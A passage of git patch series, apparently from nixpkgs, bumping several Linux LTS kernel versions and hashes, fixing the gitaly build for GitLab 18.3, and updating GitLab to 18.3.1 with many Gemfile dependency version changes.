-        "hash": "sha256:1vr4g32y74jl43hlp2jh708mp2qg4zwqh1bwa3xl9dg2136gy6q0",
+        "version": "6.1.151",
+        "hash": "sha256:0yzbib44hxx4s9py0psa6f7xvav9m52k066knfbglnm94dvv45hq",
         "lts": true
     },
     "5.15": {

From 566a34df4d16f8b26a992b61934ef91edfd32540 Mon Sep 17 00:00:00 2001
From: zowoq <59103226+zowoq@users.noreply.github.com>
Date: Tue, 9 Sep 2025 22:03:43 +0000
Subject: [PATCH 4408/4511] linux_5_15: 5.15.191 -> 5.15.192

(cherry picked from commit df8874236095a9a8784a025b06d33960bf7e4608)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 7d2706d2bfcc..f88ec8b2fc4c 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -10,8 +10,8 @@
         "lts": true
     },
     "5.15": {
-        "version": "5.15.191",
-        "hash": "sha256:0kljdv2fmg7qa5lqgdzx30rbnabw963w4k10jzsbdvd36jnb6bbs",
+        "version": "5.15.192",
+        "hash": "sha256:1gjnpvzlhdip40b00vz4qrg9fhvlxfanb2xlbybjg7l8r8z8g1pb",
         "lts": true
     },
     "5.10": {

From f1513f91cdaef794adfe2cbc82984c8ef8bf2cc5 Mon Sep 17 00:00:00 2001
From: zowoq <59103226+zowoq@users.noreply.github.com>
Date: Tue, 9 Sep 2025 22:03:45 +0000
Subject: [PATCH 4409/4511] linux_5_10: 5.10.242 -> 5.10.243

(cherry picked from commit 7170de339b349d61dd20d5a47cc1bb520475008e)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index f88ec8b2fc4c..10369fd05a84 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -15,8 +15,8 @@
         "lts": true
     },
     "5.10": {
-        "version": "5.10.242",
-        "hash": "sha256:1kd9dgggk4p0kwd3il0xdsxa1qffcs6znk2k76d6rqkl640fffmw",
+        "version": "5.10.243",
+        "hash": "sha256:0f3yv3liyhy01si76asvxrp1kjhv9ldiw7wqp9k2hfbw8ks1xl0m",
         "lts": true
     },
     "5.4": {

From 7fb914354fffb4ee8e6852d60b1c63bb6cc4239b Mon Sep 17 00:00:00 2001
From: zowoq <59103226+zowoq@users.noreply.github.com>
Date: Tue, 9 Sep 2025 22:03:48 +0000
Subject: [PATCH 4410/4511] linux_5_4: 5.4.298 -> 5.4.299

(cherry picked from commit 718d792beeaad81fbeb93c9a6bca04f313c2ae43)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 10369fd05a84..7a56afa1c9a1 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -20,8 +20,8 @@
         "lts": true
     },
     "5.4": {
-        "version": "5.4.298",
-        "hash": "sha256:1rp40i2y5w8mw3126q24yfziqa30qfaddw40cig1xp5s3bnkn5h1",
+        "version": "5.4.299",
+        "hash": "sha256:0bdzy3bpywm24nx73ah9smwmmlmyhvlf5xcp2kk1z54dxfp9bpl8",
         "lts": true
     },
     "6.6": {

From f47d448f97ecd892a305d865b46d8ab126bb0ec8 Mon Sep 17 00:00:00 2001
From: Leona Maroni <dev@leona.is>
Date: Tue, 26 Aug 2025 17:54:08 +0200
Subject: [PATCH 4411/4511] gitaly: fix build with >=18.3

This fixes build issues with gitaly >=18.3.
This change authored by Helsinki Systems. Thank you for providing this.

(cherry picked from commit 86fc7533fb29f3d04493c2e28d186e14a6d94169)
---
 pkgs/by-name/gi/gitaly/git.nix           | 58 +++++++++++++++++-------
 pkgs/by-name/gi/gitaly/package.nix       | 26 ++++++++++-
 pkgs/by-name/gi/gitlab-pages/package.nix |  5 ++
 3 files changed, 71 insertions(+), 18 deletions(-)

diff --git a/pkgs/by-name/gi/gitaly/git.nix b/pkgs/by-name/gi/gitaly/git.nix
index 654c710d0da8..3e1bc12495d4 100644
--- a/pkgs/by-name/gi/gitaly/git.nix
+++ b/pkgs/by-name/gi/gitaly/git.nix
@@ -6,6 +6,9 @@
   curl,
   pcre2,
   zlib,
+  git,
+  pkg-config,
+  openssl,
 }:
 
 stdenv.mkDerivation rec {
@@ -17,37 +20,60 @@ stdenv.mkDerivation rec {
     owner = "gitlab-org";
     repo = "git";
     rev = "v${version}";
-    hash = "sha256-1y94T5UBG7s76ENsUmaXRXngSKmqIAT0nq1u+QjSWaY=";
+    hash = "sha256-VFqUz79RvkOE4CS8GUZTPhah2AbvrlyHr4iYhWqh61Y=";
+    leaveDotGit = true;
+    # The build system clones the repo from the store (since it always expects
+    # to be able to clone in the makefiles) and it looks like nix doesn't leave
+    # the tag so we re-add it.
+    postFetch = ''
+      git -C $out tag v${version};
+    '';
   };
 
-  # we actually use the gitaly build system
+  # Use gitaly and their build system as source root
   unpackPhase = ''
     cp -r ${gitaly.src} source
     chmod -R +w source
-
-    mkdir -p source/_build/deps
-
-    cp -r ${src} source/_build/deps/git-distribution
-    chmod -R +w source/_build/deps/git-distribution
-
-    # FIXME? maybe just patch the makefile?
-    echo -n 'v${version} DEVELOPER=1 DEVOPTS=no-error USE_LIBPCRE=YesPlease NO_PERL=YesPlease NO_EXPAT=YesPlease NO_TCLTK=YesPlease NO_GETTEXT=YesPlease NO_PYTHON=YesPlease' > source/_build/deps/git-distribution.version
-    echo -n 'v${version}' > source/_build/deps/git-distribution/version
+    git config --global --add safe.directory '*'
   '';
-  sourceRoot = "source";
+
+  sourceRoot = src.name;
 
   buildFlags = [ "git" ];
+  GIT_REPO_URL = src;
+  HOME = "/build";
 
-  buildInputs = [
-    curl
-    pcre2
-    zlib
+  nativeBuildInputs = [
+    git # clones our repo from the store
+    pkg-config
   ];
+  # git inputs
+  buildInputs = [
+    openssl
+    zlib
+    pcre2
+    curl
+  ];
+
+  # required to support pthread_cancel()
+  NIX_LDFLAGS =
+    lib.optionalString (stdenv.cc.isGNU && stdenv.hostPlatform.libc == "glibc") "-lgcc_s"
+    + lib.optionalString stdenv.isFreeBSD "-lthr";
 
   # The build phase already installs it all
   GIT_PREFIX = placeholder "out";
   dontInstall = true;
 
+  doInstallCheck = true;
+  installCheckPhase = ''
+    runHook preInstallCheck
+
+    HOME=/build PAGER=cat $out/bin/git config -l
+    file $out/bin/git | grep -qv 'too large section header'
+
+    runHook postInstallCheck
+  '';
+
   meta = {
     homepage = "https://git-scm.com/";
     description = "Distributed version control system - with Gitaly patches";
diff --git a/pkgs/by-name/gi/gitaly/package.nix b/pkgs/by-name/gi/gitaly/package.nix
index 23e1808c6324..356200af8610 100644
--- a/pkgs/by-name/gi/gitaly/package.nix
+++ b/pkgs/by-name/gi/gitaly/package.nix
@@ -33,6 +33,8 @@ let
 
     tags = [ "static" ];
 
+    nativeBuildInputs = [ pkg-config ];
+
     doCheck = false;
   };
 
@@ -41,6 +43,7 @@ let
       pname = "gitaly-aux";
 
       subPackages = [
+        # Can be determined by looking at the `go:embed` calls in https://gitlab.com/gitlab-org/gitaly/-/blob/master/packed_binaries.go
         "cmd/gitaly-hooks"
         "cmd/gitaly-ssh"
         "cmd/gitaly-lfs-smudge"
@@ -59,12 +62,31 @@ buildGoModule (
       "cmd/gitaly-backup"
     ];
 
+    dontStrip = true;
+
     preConfigure = ''
+      rm -r tools
+
       mkdir -p _build/bin
       cp -r ${auxBins}/bin/* _build/bin
-      for f in ${git}/bin/git-*; do
-        cp "$f" "_build/bin/gitaly-$(basename $f)";
+
+      # Add git that will be embedded
+      echo 'print-%:;@echo $($*)' >> Makefile
+      sed -i 's:/usr/bin/env ::g' Makefile
+      for bin in $(make print-GIT_PACKED_EXECUTABLES); do
+        from="$(basename "$bin")"
+        from="''${from#gitaly-}"
+        from="${git}/libexec/git-core/''${from%-*}"
+        cp "$from" "$bin"
       done
+
+    '';
+
+    doInstallCheck = true;
+    installCheckPhase = ''
+      runHook preInstallCheck
+      HOME=/build PAGER=cat ${git}/bin/git config -l
+      runHook postInstallCheck
     '';
 
     outputs = [ "out" ];
diff --git a/pkgs/by-name/gi/gitlab-pages/package.nix b/pkgs/by-name/gi/gitlab-pages/package.nix
index b577ff7d7b92..4c1266d11618 100644
--- a/pkgs/by-name/gi/gitlab-pages/package.nix
+++ b/pkgs/by-name/gi/gitlab-pages/package.nix
@@ -19,6 +19,11 @@ buildGoModule rec {
   vendorHash = "sha256-OubXCpvGtGqegQmdb6R1zw/0DfQ4FdbJGt7qYYRnWnA=";
   subPackages = [ "." ];
 
+  ldflags = [
+    "-X"
+    "main.VERSION=${version}"
+  ];
+
   meta = with lib; {
     description = "Daemon used to serve static websites for GitLab users";
     mainProgram = "gitlab-pages";

From d9dcd4c2de53083bc3a73637c99d78052b1f69ff Mon Sep 17 00:00:00 2001
From: Leona Maroni <dev@leona.is>
Date: Tue, 26 Aug 2025 17:54:08 +0200
Subject: [PATCH 4412/4511] gitlab: 18.2.5 -> 18.3.1

https://about.gitlab.com/releases/2025/08/21/gitlab-18-3-released/
(cherry picked from commit 190e3881cdb1ac8c718d1bad699837148f7fdd3f)
---
 pkgs/by-name/gi/gitaly/git.nix                |   4 +-
 pkgs/by-name/gi/gitaly/package.nix            |   6 +-
 pkgs/by-name/gi/gitlab-pages/package.nix      |   6 +-
 pkgs/by-name/gi/gitlab/data.json              |  14 +-
 .../gi/gitlab/gitlab-workhorse/default.nix    |   4 +-
 pkgs/by-name/gi/gitlab/package.nix            |   2 +-
 pkgs/by-name/gi/gitlab/rubyEnv/Gemfile        |  78 +++--
 pkgs/by-name/gi/gitlab/rubyEnv/Gemfile.lock   | 247 +++++++-------
 pkgs/by-name/gi/gitlab/rubyEnv/gemset.nix     | 318 ++++++++++--------
 9 files changed, 375 insertions(+), 304 deletions(-)

diff --git a/pkgs/by-name/gi/gitaly/git.nix b/pkgs/by-name/gi/gitaly/git.nix
index 3e1bc12495d4..d1413f72f94e 100644
--- a/pkgs/by-name/gi/gitaly/git.nix
+++ b/pkgs/by-name/gi/gitaly/git.nix
@@ -13,14 +13,14 @@
 
 stdenv.mkDerivation rec {
   pname = "gitaly-git";
-  version = "2.49.0.gl2";
+  version = "2.50.1.gl1";
 
   # `src` attribute for nix-update
   src = fetchFromGitLab {
     owner = "gitlab-org";
     repo = "git";
     rev = "v${version}";
-    hash = "sha256-VFqUz79RvkOE4CS8GUZTPhah2AbvrlyHr4iYhWqh61Y=";
+    hash = "sha256-q+xQAVsatw0vS4iIgAxciAVVMr33BjG0yM4AvZrXB+8=";
     leaveDotGit = true;
     # The build system clones the repo from the store (since it always expects
     # to be able to clone in the makefiles) and it looks like nix doesn't leave
diff --git a/pkgs/by-name/gi/gitaly/package.nix b/pkgs/by-name/gi/gitaly/package.nix
index 356200af8610..7d9d48e5500d 100644
--- a/pkgs/by-name/gi/gitaly/package.nix
+++ b/pkgs/by-name/gi/gitaly/package.nix
@@ -7,7 +7,7 @@
 }:
 
 let
-  version = "18.2.5";
+  version = "18.3.1";
   package_version = "v${lib.versions.major version}";
   gitaly_package = "gitlab.com/gitlab-org/gitaly/${package_version}";
 
@@ -21,10 +21,10 @@ let
       owner = "gitlab-org";
       repo = "gitaly";
       rev = "v${version}";
-      hash = "sha256-/AyWxFUyNC0RCM4WMSlPrlh9okyZBacR2sPyzl9y4D0=";
+      hash = "sha256-qZ/0SGkDj98CqqX6XTbbZEkhnTF/Sjzd7p2muBuP+xE=";
     };
 
-    vendorHash = "sha256-RjDV4NGmmdT9STQBHiYf3UUYwPmuSg6970/W/ekxin0=";
+    vendorHash = "sha256-JFGzGwYi4owq0oVLucm7UGuq8PE4FH9Gp8HyBRoE6cs=";
 
     ldflags = [
       "-X ${gitaly_package}/internal/version.version=${version}"
diff --git a/pkgs/by-name/gi/gitlab-pages/package.nix b/pkgs/by-name/gi/gitlab-pages/package.nix
index 4c1266d11618..d210804b6d28 100644
--- a/pkgs/by-name/gi/gitlab-pages/package.nix
+++ b/pkgs/by-name/gi/gitlab-pages/package.nix
@@ -6,17 +6,17 @@
 
 buildGoModule rec {
   pname = "gitlab-pages";
-  version = "18.2.5";
+  version = "18.3.1";
 
   # nixpkgs-update: no auto update
   src = fetchFromGitLab {
     owner = "gitlab-org";
     repo = "gitlab-pages";
     rev = "v${version}";
-    hash = "sha256-21IsNcVkhtncum2miTOjuCcM681qYa+8e/5CCEiqz/Q=";
+    hash = "sha256-phK8lhk6XHypdUrNOdpdhwo4uIrN+VapkxUujEffZtk=";
   };
 
-  vendorHash = "sha256-OubXCpvGtGqegQmdb6R1zw/0DfQ4FdbJGt7qYYRnWnA=";
+  vendorHash = "sha256-WCdpccNeVCEvo158uSyDlsGxneU72zKiV7J7JPhtPBw=";
   subPackages = [ "." ];
 
   ldflags = [
diff --git a/pkgs/by-name/gi/gitlab/data.json b/pkgs/by-name/gi/gitlab/data.json
index 3771f4b53b3e..3a31842619d5 100644
--- a/pkgs/by-name/gi/gitlab/data.json
+++ b/pkgs/by-name/gi/gitlab/data.json
@@ -1,15 +1,15 @@
 {
-  "version": "18.2.5",
-  "repo_hash": "1q9scfy1r9570gvm3dyrsg2cmpyx94a33w6418q1gy0msiqncnqd",
-  "yarn_hash": "0c6njrciqcjaswh784yxly4qza6k2ghq1ljbdkcn65cna4f4hwgk",
+  "version": "18.3.1",
+  "repo_hash": "1csg5q3f0fp145905idqkhsshs8rdbmfgc0nx2ihvxkdmzvd0p3d",
+  "yarn_hash": "0g1iafhfdgshy7d6p27qy042j8xyf6gj4rws9wrzdh51fmv4p3bj",
   "owner": "gitlab-org",
   "repo": "gitlab",
-  "rev": "v18.2.5-ee",
+  "rev": "v18.3.1-ee",
   "passthru": {
-    "GITALY_SERVER_VERSION": "18.2.5",
-    "GITLAB_PAGES_VERSION": "18.2.5",
+    "GITALY_SERVER_VERSION": "18.3.1",
+    "GITLAB_PAGES_VERSION": "18.3.1",
     "GITLAB_SHELL_VERSION": "14.44.0",
     "GITLAB_ELASTICSEARCH_INDEXER_VERSION": "5.7.0",
-    "GITLAB_WORKHORSE_VERSION": "18.2.5"
+    "GITLAB_WORKHORSE_VERSION": "18.3.1"
   }
 }
diff --git a/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix b/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix
index ceb9015c2fdd..b85b15500e42 100644
--- a/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix
+++ b/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix
@@ -10,7 +10,7 @@ in
 buildGoModule rec {
   pname = "gitlab-workhorse";
 
-  version = "18.2.5";
+  version = "18.3.1";
 
   # nixpkgs-update: no auto update
   src = fetchFromGitLab {
@@ -22,7 +22,7 @@ buildGoModule rec {
 
   sourceRoot = "${src.name}/workhorse";
 
-  vendorHash = "sha256-A+hCyi4P0JkBY2NYGWSpMsHjEgD43g9ZlPrxWL9Vx7Q=";
+  vendorHash = "sha256-Nev8UXAjvxWItGT3LLcq0cs0wKKXWR6ml+1YBDiYJm4=";
   buildInputs = [ git ];
   ldflags = [ "-X main.Version=${version}" ];
   doCheck = false;
diff --git a/pkgs/by-name/gi/gitlab/package.nix b/pkgs/by-name/gi/gitlab/package.nix
index 0fce21e5fa14..c20606261c87 100644
--- a/pkgs/by-name/gi/gitlab/package.nix
+++ b/pkgs/by-name/gi/gitlab/package.nix
@@ -83,7 +83,7 @@ let
               cp Cargo.lock $out
             '';
           };
-          hash = "sha256-TG2pUE80o/Sa147Lcb7yIJC+mfaDzzW7m2d7dTi5yi0=";
+          hash = "sha256-NJLpfIgVgqbf1fHIzEKxzpHOKvtY9QHXVQPpRdvH0Uo=";
         };
 
         dontBuild = false;
diff --git a/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile b/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile
index 40f61b9e6d0b..a397580e896d 100644
--- a/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile
+++ b/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile
@@ -69,7 +69,7 @@ gem 'sprockets-rails', '~>  3.5.1', feature_category: :shared
 gem 'view_component', '~> 3.23.2', feature_category: :shared
 
 # Supported DBs
-gem 'pg', '~> 1.5.6', feature_category: :database
+gem 'pg', '~> 1.6.1', feature_category: :database
 
 gem 'rugged', '~> 1.6', feature_category: :gitaly
 
@@ -117,7 +117,7 @@ gem 'openid_connect', '~> 2.3.0', feature_category: :system_access
 gem 'omniauth-salesforce', '~> 1.0.5', path: 'vendor/gems/omniauth-salesforce', feature_category: :system_access
 gem 'omniauth-atlassian-oauth2', '~> 0.2.0', feature_category: :system_access
 gem 'rack-oauth2', '~> 2.2.1', feature_category: :system_access
-gem 'jwt', '~> 2.9.3', feature_category: :system_access
+gem 'jwt', '~> 2.10.0', feature_category: :system_access
 
 # Kerberos authentication. EE-only
 gem 'gssapi', '~> 1.3.1', group: :kerberos, feature_category: :system_access
@@ -126,7 +126,7 @@ gem 'timfel-krb5-auth', '~> 0.8', group: :kerberos, feature_category: :system_ac
 # Spam and anti-bot protection
 gem 'recaptcha', '~> 5.12', require: 'recaptcha/rails', feature_category: :insider_threat
 gem 'akismet', '~> 3.0', feature_category: :insider_threat
-gem 'invisible_captcha', '~> 2.1.0', feature_category: :insider_threat
+gem 'invisible_captcha', '~> 2.3.0', feature_category: :insider_threat
 
 # Two-factor authentication
 gem 'devise-two-factor', '~> 4.1.1', feature_category: :system_access
@@ -164,8 +164,8 @@ gem 'grape-path-helpers', '~> 2.0.1', feature_category: :api
 gem 'rack-cors', '~> 2.0.1', require: 'rack/cors', feature_category: :shared
 
 # GraphQL API
-gem 'graphql', '2.4.13', feature_category: :api
-gem 'graphql-docs', '~> 5.0.0', group: [:development, :test], feature_category: :api
+gem 'graphql', '2.5.11', feature_category: :api
+gem 'graphql-docs', '~> 5.2.0', group: [:development, :test], feature_category: :api
 gem 'apollo_upload_server', '~> 2.1.6', feature_category: :api
 
 # Cells
@@ -187,7 +187,7 @@ gem 'hashie', '~> 5.0.0', feature_category: :shared
 gem 'kaminari', '~> 1.2.2', feature_category: :shared
 
 # HAML
-gem 'hamlit', '~> 2.15.0', feature_category: :shared
+gem 'hamlit', '~> 3.0.0', feature_category: :shared
 
 # Files attachments
 gem 'carrierwave', '~> 1.3', feature_category: :shared
@@ -220,18 +220,18 @@ gem 'gitlab-fog-azure-rm', '~> 2.2.0', require: 'fog/azurerm', feature_category:
 gem 'google-apis-storage_v1', '~> 0.29', feature_category: :shared
 gem 'google-cloud-storage', '~> 1.45.0', feature_category: :shared
 # We need >= 0.11.1 because that's when match_glob support is added to list_objects
-gem 'google-apis-core', '~> 0.11.0', '>= 0.11.1', feature_category: :shared
-gem 'google-apis-compute_v1', '~> 0.57.0', feature_category: :shared
-gem 'google-apis-container_v1', '~> 0.43.0', feature_category: :shared
+gem 'google-apis-core', '~> 0.18.0', '>= 0.18.0', feature_category: :shared
+gem 'google-apis-compute_v1', '~> 0.127.0', feature_category: :shared
+gem 'google-apis-container_v1', '~> 0.100.0', feature_category: :shared
 gem 'google-apis-container_v1beta1', '~> 0.43.0', feature_category: :shared
 gem 'google-apis-cloudbilling_v1', '~> 0.22.0', feature_category: :shared
 gem 'google-apis-cloudresourcemanager_v1', '~> 0.31.0', feature_category: :shared
-gem 'google-apis-iam_v1', '~> 0.36.0', feature_category: :shared
+gem 'google-apis-iam_v1', '~> 0.73.0', feature_category: :shared
 gem 'google-apis-serviceusage_v1', '~> 0.28.0', feature_category: :shared
 gem 'google-apis-sqladmin_v1beta4', '~> 0.41.0', feature_category: :shared
-gem 'google-apis-androidpublisher_v3', '~> 0.34.0', feature_category: :shared
+gem 'google-apis-androidpublisher_v3', '~> 0.84.0', feature_category: :shared
 
-gem 'googleauth', '~> 1.8.1', feature_category: :shared
+gem 'googleauth', '~> 1.14', feature_category: :shared
 gem 'google-cloud-artifact_registry-v1', '~> 0.11.0', feature_category: :shared
 gem 'google-cloud-compute-v1', '~> 2.6.0', feature_category: :shared
 
@@ -242,9 +242,9 @@ gem 'seed-fu', '~> 2.3.7', feature_category: :shared
 gem 'elasticsearch-model', '~> 7.2', feature_category: :global_search
 gem 'elasticsearch-rails', '~> 7.2', require: 'elasticsearch/rails/instrumentation', feature_category: :global_search
 gem 'elasticsearch-api', '7.17.11', feature_category: :global_search
-gem 'aws-sdk-core', '~> 3.225.0', feature_category: :global_search
+gem 'aws-sdk-core', '~> 3.226.0', feature_category: :global_search
 gem 'aws-sdk-cloudformation', '~> 1', feature_category: :global_search
-gem 'aws-sdk-s3', '~> 1.189.0', feature_category: :global_search
+gem 'aws-sdk-s3', '~> 1.193.0', feature_category: :global_search
 gem 'faraday-typhoeus', '~> 1.1', feature_category: :global_search
 gem 'faraday_middleware-aws-sigv4', '~> 1.0.1', feature_category: :global_search
 # Used with Elasticsearch to support http keep-alive connections
@@ -267,10 +267,10 @@ gem 'asciidoctor', '~> 2.0.18', feature_category: :markdown
 gem 'asciidoctor-include-ext', '~> 0.4.0', require: false, feature_category: :markdown
 gem 'asciidoctor-plantuml', '~> 0.0.16', feature_category: :markdown
 gem 'asciidoctor-kroki', '~> 0.10.0', require: false, feature_category: :markdown
-gem 'rouge', '~> 4.5.0', feature_category: :shared
+gem 'rouge', '~> 4.6.0', feature_category: :shared
 gem 'truncato', '~> 0.7.13', feature_category: :team_planning
 gem 'nokogiri', '~> 1.18', feature_category: :shared
-gem 'gitlab-glfm-markdown', '~> 0.0.31', feature_category: :markdown
+gem 'gitlab-glfm-markdown', '~> 0.0.33', feature_category: :markdown
 gem 'tanuki_emoji', '~> 0.13', feature_category: :markdown
 gem 'unicode-emoji', '~> 4.0', feature_category: :markdown
 
@@ -287,7 +287,7 @@ gem 'rack', '~> 2.2.9', feature_category: :shared
 gem 'rack-timeout', '~> 0.7.0', require: 'rack/timeout/base', feature_category: :shared
 
 group :puma do
-  gem 'puma', '= 6.6.0', require: false, feature_category: :shared
+  gem 'puma', '= 6.6.1', require: false, feature_category: :shared
   gem 'sd_notify', '~> 0.1.0', require: false, feature_category: :shared
 end
 
@@ -331,6 +331,8 @@ gem 'device_detector', feature_category: :shared
 
 # Redis
 gem 'redis', '~> 5.4.0', feature_category: :redis
+gem 'redis-client', '~> 0.25', feature_category: :redis
+gem 'redis-cluster-client', '~> 0.13', feature_category: :redis
 gem 'redis-clustering', '~> 5.4.0', feature_category: :redis
 gem 'connection_pool', '~> 2.5.3', feature_category: :shared
 
@@ -345,7 +347,7 @@ gem 'atlassian-jwt', '~> 0.2.1', feature_category: :integrations
 gem 'slack-messenger', '~> 2.3.5', feature_category: :integrations
 
 # Kubernetes integration
-gem 'kubeclient', '~> 4.11.0', feature_category: :shared
+gem 'kubeclient', '~> 4.12.0', feature_category: :shared
 
 # AI
 gem 'circuitbox', '2.0.0', feature_category: :shared
@@ -378,7 +380,7 @@ gem 'rack-proxy', '~> 0.7.7', feature_category: :shared
 gem 'cssbundling-rails', '1.4.3', feature_category: :shared
 gem 'terser', '1.0.2', feature_category: :shared
 
-gem 'click_house-client', path: 'gems/click_house-client', require: 'click_house/client', feature_category: :database
+gem 'click_house-client', '0.3.5', feature_category: :database
 gem 'addressable', '~> 2.8', feature_category: :shared
 gem 'gon', '~> 6.4.0', feature_category: :shared
 gem 'request_store', '~> 1.7.0', feature_category: :shared
@@ -402,7 +404,7 @@ gem 'gitlab-http', path: 'gems/gitlab-http', feature_category: :shared
 
 gem 'premailer-rails', '~> 1.12.0', feature_category: :notifications
 gem 'gitlab-labkit', '~> 0.39.0', feature_category: :shared
-gem 'thrift', '>= 0.16.0', feature_category: :shared
+gem 'thrift', '~> 0.22.0', feature_category: :shared
 
 # I18n
 gem 'rails-i18n', '~> 7.0', '>= 7.0.9', feature_category: :internationalization
@@ -429,9 +431,10 @@ gem 'prometheus-client-mmap', '~> 1.2.9', require: 'prometheus/client', feature_
 # Event-driven reactor for Ruby
 # Required manually in config/initializers/require_async_gem
 gem 'async', '~> 2.24.0', require: false, feature_category: :shared
+gem 'io-event', '~> 1.12', require: false, feature_category: :shared
 
 # Security report schemas used to validate CI job artifacts of security jobs
-gem 'gitlab-security_report_schemas', '0.1.3.min15.0.0.max15.2.2', feature_category: :vulnerability_management
+gem 'gitlab-security_report_schemas', '0.1.3.min15.0.0.max15.2.3', feature_category: :vulnerability_management
 
 # OpenTelemetry
 group :opentelemetry do
@@ -466,7 +469,7 @@ end
 gem 'warning', '~> 1.5.0', feature_category: :shared
 
 group :development do
-  gem 'lefthook', '~> 1.11.0', require: false, feature_category: :tooling
+  gem 'lefthook', '~> 1.12.0', require: false, feature_category: :tooling
   gem 'rubocop', feature_category: :tooling
 
   gem 'solargraph', '~> 0.54.0', require: false, feature_category: :shared
@@ -499,7 +502,7 @@ end
 group :development, :test do
   gem 'deprecation_toolkit', '~> 2.2.3', require: false, feature_category: :shared
   gem 'bullet', '~> 8.0.0', feature_category: :shared
-  gem 'parser', '= 3.3.8.0', feature_category: :shared
+  gem 'parser', '= 3.3.9.0', feature_category: :shared
   gem 'pry-byebug', feature_category: :shared
   gem 'pry-rails', '~> 0.3.9', feature_category: :shared
   gem 'pry-shell', '~> 0.6.4', feature_category: :shared
@@ -551,7 +554,7 @@ group :development, :test do
 end
 
 group :development, :test, :danger do
-  gem 'gitlab-dangerfiles', '~> 4.9.0', require: false, feature_category: :tooling
+  gem 'gitlab-dangerfiles', '~> 4.10.0', require: false, feature_category: :tooling
 end
 
 group :development, :test, :coverage do
@@ -585,6 +588,11 @@ group :test do
 
   gem 'graphlyte', '~> 1.0.0', feature_category: :shared
 
+  # Upload CI metrics to a GCP BigQuery instance
+  #
+  # We only use this gem in CI.
+  gem 'google-cloud-bigquery', '~> 1.0', feature_category: :tooling
+
   gem 'shoulda-matchers', '~> 6.4.0', require: false, feature_category: :shared
   gem 'email_spec', '~> 2.3.0', feature_category: :shared
   gem 'webmock', '~> 3.25.0', feature_category: :shared
@@ -599,7 +607,7 @@ group :test do
   # Moved in `test` because https://gitlab.com/gitlab-org/gitlab/-/issues/217527
   gem 'derailed_benchmarks', require: false, feature_category: :shared
 
-  gem 'gitlab_quality-test_tooling', '~> 2.10.0', require: false, feature_category: :tooling
+  gem 'gitlab_quality-test_tooling', '~> 2.18.0', require: false, feature_category: :tooling
 end
 
 gem 'octokit', '~> 9.0', feature_category: :importers
@@ -614,7 +622,6 @@ gem 'html2text', feature_category: :shared
 gem 'stackprof', '~> 0.2.26', require: false, feature_category: :shared
 gem 'rbtrace', '~> 0.4', require: false, feature_category: :shared
 gem 'memory_profiler', '~> 1.0', require: false, feature_category: :shared
-gem 'activerecord-explain-analyze', '~> 0.1', require: false, feature_category: :shared
 
 # OAuth
 gem 'oauth2', '~> 2.0', feature_category: :system_access
@@ -636,14 +643,12 @@ gem 'ssh_data', '~> 1.3', feature_category: :shared
 gem 'spamcheck', '~> 1.3.0', feature_category: :insider_threat
 
 # Gitaly GRPC protocol definitions
-gem 'gitaly', '~> 18.1.0.pre.rc1', feature_category: :gitaly
+gem 'gitaly', '~> 18.2.0', feature_category: :gitaly
 
 # KAS GRPC protocol definitions
-gem 'gitlab-kas-grpc', '~> 18.1.0', feature_category: :deployment_management
+gem 'gitlab-kas-grpc', '~> 18.2.0', feature_category: :deployment_management
 
-# Lock until 1.74.0 is available
-# https://gitlab.com/gitlab-com/gl-infra/production/-/issues/20067
-gem 'grpc', '= 1.63.0', feature_category: :shared
+gem 'grpc', '~> 1.74.0', feature_category: :shared
 
 gem 'google-protobuf', '~> 3.25', '>= 3.25.3', feature_category: :shared
 
@@ -661,7 +666,7 @@ gem 'lograge', '~> 0.5', feature_category: :shared
 gem 'grape_logging', '~> 1.8', '>= 1.8.4', feature_category: :api
 
 # DNS Lookup
-gem 'gitlab-net-dns', '~> 0.12.0', feature_category: :shared
+gem 'gitlab-net-dns', '~> 0.15.0', feature_category: :shared
 
 # Countries list
 gem 'countries', '~> 4.0.0', feature_category: :shared
@@ -684,14 +689,14 @@ gem 'mail-smtp_pool', '~> 0.1.0', path: 'vendor/gems/mail-smtp_pool', require: f
 gem 'microsoft_graph_mailer', '~> 0.1.0', path: 'vendor/gems/microsoft_graph_mailer', feature_category: :shared
 
 # File encryption
-gem 'lockbox', '~> 1.3.0', feature_category: :shared
+gem 'lockbox', '~> 1.4.0', feature_category: :shared
 
 # Email validation
 gem 'valid_email', '~> 0.1', feature_category: :shared
 
 # JSON
 gem 'jsonb_accessor', '~> 1.4', feature_category: :shared
-gem 'json', '~> 2.11.0', feature_category: :shared
+gem 'json', '~> 2.13.0', feature_category: :shared
 gem 'json_schemer', '~> 2.3.0', feature_category: :shared
 gem 'oj', '~> 3.16.0', '>=3.16.10', feature_category: :shared
 gem 'oj-introspect', '~> 0.8', feature_category: :shared
@@ -731,8 +736,7 @@ gem 'app_store_connect', feature_category: :mobile_devops
 gem 'telesignenterprise', '~> 2.2', feature_category: :insider_threat
 
 # BufferedIO patch
-# Updating this version will require updating scripts/allowed_warnings.txt
-gem 'net-protocol', '~> 0.1.3', feature_category: :shared
+gem 'net-protocol', '~> 0.2.2', feature_category: :shared
 gem "nkf", "~> 0.2.0", feature_category: :shared
 
